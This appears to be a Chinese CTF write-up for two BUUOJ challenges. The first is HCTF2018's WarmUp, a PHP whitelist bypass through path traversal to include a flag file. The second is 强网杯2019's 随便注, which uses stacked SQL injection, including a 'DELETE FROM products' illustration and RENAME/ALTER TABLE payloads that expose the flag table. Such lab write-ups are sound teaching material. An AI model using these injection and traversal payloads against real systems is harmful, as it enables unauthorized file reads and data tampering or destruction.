BUUOJ刷题
0x01 WarmUp
出处:HCTF2018
<?php
highlight_file(__FILE__);
class emmm {
public static function checkFile(&$page) {
$whitelist = ["source" => "source.php", "hint" => "hint.php"];
if (!isset($page) || !is_string($page)) {
echo "you can't see it"; //传入的参数必须是字符串
return false;
}
if (in_array($page, $whitelist)) {
return true; //$page的内容不能在whiteList里
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); //因为返回的是末尾的位置数,所以$_page就是原来的字符串。
if (in_array($_page, $whitelist)) {
return true;
} //$_page的内容不能在whiteList里
$_page = urldecode($page); //url解码一次
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
); //url解码后截取问好前面的字符串
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (!empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
要使emmm::checkFile($_REQUEST['file'])返回true,利用?截取hint.php,利用/使hint.php?成为一个不存在的目录,最后include利用../../跳转目录读取flag。
payload: hint.php?/../../../../../../../../../../../ffffllllaaaagggg
payload还可以:index.php?file=source.php?/../../../../../../../../../../../ffffllllaaaagggg
参考资料:
https://www.jianshu.com/p/0d75017c154f
https://xz.aliyun.com/t/3255
0x02 随便注
出处:强网杯2019
- 知识点补充
堆叠注入原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
首先进行模糊测试,发现一共有两个字段:
接着测试联合注入,可以看到几乎所有常用的字段都被过滤了
这时候想到堆叠注入,试一下
可以看到成功了,存在堆叠注入,我们再直接show tables来查询下,试下能不能查询出表
可以看到有两张表
1919810931114514
和words
,下面分别来看下两张表有什么字段payload:
0'; show columns from words;#
payload:222';show columns from
1919810931114514;#
因为这里有两张表,内容是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
内部查询语句类似 :
select * from works where id = '{$_GET["inject"]}'
(这里从上面的对word列的查询可以看到它是有两列,id和data)
然后1919810931114514只有一个flag字段
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为words1或其它任意名字
2.1919810931114514改名为words
3.将flag列改名为id
1';RENAME TABLE `words` TO `words1`;
# 把 words 改名为 words1
RENAME TABLE `1919810931114514` TO `words`;
# 数字表改名为 words
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; //character set 即字符集 COLLATE utf8_general_ci:数据库校对规则
新的 words 里的 flag 列改为 id (避免一开始无法查询)
show columns from words;#
用 1′ or ‘1’=’1#访问一下